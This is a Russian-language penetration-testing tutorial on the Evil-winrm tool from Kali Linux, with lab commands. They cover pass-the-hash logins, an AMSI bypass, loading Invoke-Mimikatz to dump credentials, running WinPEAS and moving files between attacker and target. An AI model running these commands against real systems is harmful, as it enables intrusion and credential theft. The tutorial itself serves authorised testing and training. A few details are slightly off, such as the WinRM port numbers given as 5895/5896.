- Использование Evil-winrm в пентесте на Kali Linux
- Что такое Evil-winrm
- Обнаружение службы WinRM
- Вход с использованием пароля
- Вход с использованием пароля и включенным SSL
- Вход с помощью NTLM Hash — Pass The Hash Attack
- Загрузить скрипт Powershell
- Хранить логи с помощью Evil-winrm
- Отключить завершение удаленного пути
- Отключить цветной интерфейс
- Запустить исполняемый файл
- Перечисление сервисов с помощью Evil-winrm
- Передача файлов с помощью Evil-winrm
- Использование Evil-winrm в Docker
- Войти с помощью ключа с помощью Evil-winrm
- Заключение
Сегодня рассмотрим популярный инструмент Evil-winrm. Его цель — максимально упростить тестирование на проникновение, в особенности в среде Microsoft Windows. Далее покажу, как использовать Evil-winrm в пентесте на Kali Linux.
Еще по теме: Обнаружение компьютеров в сети при пентесте
Использование Evil-winrm в пентесте на Kali Linux
Инструмент Evil-winrm с открытым исходным кодом, написанный на языке ruby, максимально упрощает пост-эксплуатацию.
Что такое Evil-winrm
Этот инструмент имеет множество интересных функций, таких, как удаленный вход в систему с паролем и получение сессии PowerShell, с шифрованием SSL, с помощью хэша NTLM и т. д. Авторы постоянно обновляют тулзу и добавляют множество новых функций.
Evil-winrm работает с протоколом PowerShell (PSRP). Системные и сетевые администраторы часто используют протокол удаленного управления Windows для загрузки, редактирования и выгрузки. WinRM — это основанный на SOAP и дружественный к брандмауэру протокол, который работает с транспортом HTTP через HTTP-порт 5985 по умолчанию. Для получения дополнительной информации об удаленном работе PowerShell посетите официальный сайт Microsoft.
Evil-winrm предустановлен в Kali Linux, но если вы используете урезанную версию, то можете скачать и установить из официального репозитория git.
Обнаружение службы WinRM
Итак, Evil-winrm может быть использован, если на удаленном хосте включена служба Winrm, о чем говорит работающие порты службы WinRM 5895 и 5896. Используя Nmap мы обнаружили, что служба WinRM включена, и теперь для входа в систему и выполнения других задач можно использовать Evil-winrm.
1 |
nmap -p 5985,5986 192.168.1.19 |
Традиционно, запускаем справку используя параметр -h:
1 |
evil-winrm -h |
Вход с использованием пароля
Если есть пароль и на удаленном хосте работает WinRM, можно попробовать подключиться, используя команду:
1 |
evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 |
Где:
На изображении выше получен удаленный сеанс PowerShell.
Вход с использованием пароля и включенным SSL
WinRM передает трафик по протоколу HTTP, поэтому, чтобы сделать соединение безопасным, можно использовать SSL. Для этого используйте параметр -S:
1 |
evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -S |
Вход с помощью NTLM Hash — Pass The Hash Attack
Во время пентеста мы можем получить хеш NTLM. Для авторизации с помощью хеша используется параметр -H:
1 |
evil-winrm -i 192.168.1.19 -u administrator -H 32196B56FFE6F45E294117B91A83BF38 |
Подробное об атаке pass-the-hash:
- Атака Pass the Hash с помощью PsExec Impacket на Kali Linux
- Атака Pass the Hash с помощью PTH-WinExe на Kali Linux
- Атака Pass the Hash с помощью Metasploit и модуля PsExec
Загрузить скрипт Powershell
Evil-winrm также предлагает функцию, которая позволяет нам использовать сценарии с нашей базовой машины. Мы можем напрямую загружать сценарии непосредственно в память, используя флаг -s вместе с путем к файлу сценария, в котором мы сохранили сценарии на нашей локальной машине. Кроме того, он также предлагает функцию AMSI, которая нам часто требуется перед импортом любого скрипта. В приведенном ниже примере мы обходим AMSI, а затем напрямую вызываем сценарий Invoke-Mimiktz.ps1 из нашей системы на целевую машину и загружаем его в память. После этого мы можем использовать любую команду mimikatz. В демонстрационных целях здесь мы выгрузили учетные данные из кеша. После сброса учетных данных мы можем снова провести хэш-атаку с полученным хэшем NTLM. Выполните следующие действия, чтобы воспроизвести атаку с помощью evil-winrm.
https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1
1 2 3 4 |
evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -s /opt/privsc/powershell Bypass-4MSI Invoke-Mimikatz.ps1 Invoke-Mimikatz |
Хранить логи с помощью Evil-winrm
Эта функция предназначена для сохранения журналов в нашей локальной системе при выполнении перечисления после получения удаленного сеанса. Когда мы играем в CTF или проводим внутреннее тестирование на проникновение в режиме реального времени, нам необходимо сохранять ссылки для отчетов. Evil-winrm позволяет сохранять все журналы на нашей базовой машине с помощью флага -l. Мы можем взять любой удаленный сеанс, используя evil-winrm и добавить флаг -l, чтобы он сохранял все журналы на нашей базовой машине в каталоге /root/evil-winrm-logs с датой и IP-адресом, которые можно использовать позже для ссылок. . В приведенном ниже примере мы использовали команду ipconfig и вывод команды, сохраненный на нашей базовой машине одновременно.
1 |
evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -l |
Мы можем проверить это, проверив содержимое сохраненных журналов, вы заметите, что он сделал снимок экрана терминала, где мы использовали команду ipconfig.
Отключить завершение удаленного пути
По умолчанию он поставляется с функцией завершения удаленного пути, но если мы хотим отключить завершение удаленного пути, мы можем добавить флаг -N вместе с нашей командой. Это зависит от людей, предпочитают ли они функцию автозаполнения или нет, но если вам комфортно с автозаполнением, не стесняйтесь использовать его функцию по умолчанию.
1 |
evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N |
Отключить цветной интерфейс
Всякий раз, когда мы устанавливаем какой-либо удаленный сеанс с помощью evil-winrm, он порождает красивый цветной интерфейс командной строки. Тем не менее, если мы хотим отключить цветной интерфейс, мы также можем сделать это, используя флаг -n вместе с нашей командой при установлении сеанса.
1 |
evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -n |
Запустить исполняемый файл
Эта функция предназначена для решения проблем и трудностей в режиме реального времени, с которыми мы столкнулись во время оценки, когда у нас есть сеанс PowerShell, и мы не можем сбросить его в командную строку. В таких сценариях нам хотелось бы, чтобы мы могли запускать исполняемые файлы в сеансах evil-winrm. Предположим, у нас есть исполняемый файл, который мы хотим запустить в целевой системе.
Команда Hackplayers снова разработала этот инструмент и добавила дополнительную функцию, с помощью которой мы можем запускать все исполняемые файлы как шарм во время сеанса PowerShell evil-winrm. Точно так же, как мы использовали флаг -s для выполнения пути сценариев PowerShell, на этот раз мы используем флаг -e для выполнения исполняемых двоичных файлов exe. В приведенном ниже примере мы выдаем путь, по которому исполняемый файл WinPEAS.exe хранится на локальном компьютере, и запускаем его с помощью дополнительной функции (Invoke-Binary) из меню evil-winrm. Эта функция позволяет нам выполнять любые двоичные файлы exe, которые обычно запускаются в оболочке командной строки.
1 2 3 4 |
evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -e /opt/privsc Bypass-4MSI menu Invoke-Binary /opt/privsc/winPEASx64.exe |
После того, как мы установили путь к исполняемым файлам, мы можем использовать любой исполняемый файл, который мы хотим запустить в целевой системе. В приведенном ниже примере мы вызываем WinPEASx64.exe и запускаем его в целевой системе с помощью evil-winrm. Как мы видим, он работает нормально, как и ожидалось.
Перечисление сервисов с помощью Evil-winrm
Иногда многие инструменты перечисления после эксплуатации не могут определить имя службы, работающей в целевой системе. В этом случае мы можем использовать evil-winrm, чтобы найти имена служб, работающих в целевой системе. Для этого мы снова можем зайти в меню и использовать сервисы. В нем будут перечислены все службы, запущенные на скомпрометированном хосте. Эта функция может быть очень удобной, когда мы видим, что в целевой системе установлена какая-либо служба без кавычек, а другие инструменты постэксплуатации не могут определить имя службы.
Передача файлов с помощью Evil-winrm
Нет никаких сомнений в том, что evil-winrm сделал все возможное, чтобы сделать нашу работу максимально легкой. Нам всегда нужно передавать файлы с атакующей машины на удаленную машину, чтобы выполнить перечисление или другие вещи. Вместо того, чтобы устанавливать сервер Python и загружать его из целевой системы, мы можем просто использовать команду загрузки с именем файла. Это спасительная функция, которую предоставляет инструмент evil-winrm, особенно в таких сценариях, когда мы сталкиваемся с правилами исходящего трафика, установленными в целевой системе, и когда мы используем evil-winrm с прокси. В приведенном ниже примере мы загружаем файл notes.txt в целевую систему.
1 |
upload /root/notes.txt . |
Точно так же мы можем загрузить файл из целевой системы на компьютер злоумышленника, используя команду загрузки вместе с именем файла.
1 |
download notes.txt /root/raj/notes.txt |
Мы можем проверить это, перейдя по пути, который мы скачали notes.txt на атакующей машине.
Использование Evil-winrm в Docker
Этот инструмент также можно установить в докере. Если у нас в докере есть другая система, где установлен evil-winrm, то мы тоже можем вызвать ее из докера. Он будет работать так же, как и в основной базовой системе, без каких-либо проблем. Для этого следуйте синтаксису докера вместе с командой evil-winrm, чтобы вызвать его из докера.
1 |
docker run --rm -ti --name evil-winrm oscarakaelvis/evil-winrm -i 192.168.1.105 -u Administrator -p 'Ignite@987' |
Войти с помощью ключа с помощью Evil-winrm
Evil-winrm также позволяет нам использовать открытый и закрытый ключи для установления удаленного сеанса с использованием флага -c для открытого ключа и флага -k для закрытого ключа. Кроме того, мы также можем добавить флаг -an S, чтобы включить SSL, чтобы сделать наше соединение зашифрованным и безопасным.
1 |
evil-winrm -i 10.129.227.105 -c certificate.pem -k priv-key.pem -S |
Заключение
Мы кратко изучили инструмент Evil-winrm и его специальные функции, которые значительно упростят нашу внутреннюю оценку. Мы изучили несколько способов установки удаленного сеанса с помощью evil-winrm. Кроме того, мы изучили некоторые из его расширенных функций, которые повысят нашу производительность в производственной среде, а также в CTF. Наконец, я хотел бы поблагодарить Hackplayers за создание такого замечательного инструмента. Надеюсь, вы сегодня узнали что-то новое. Удачного взлома!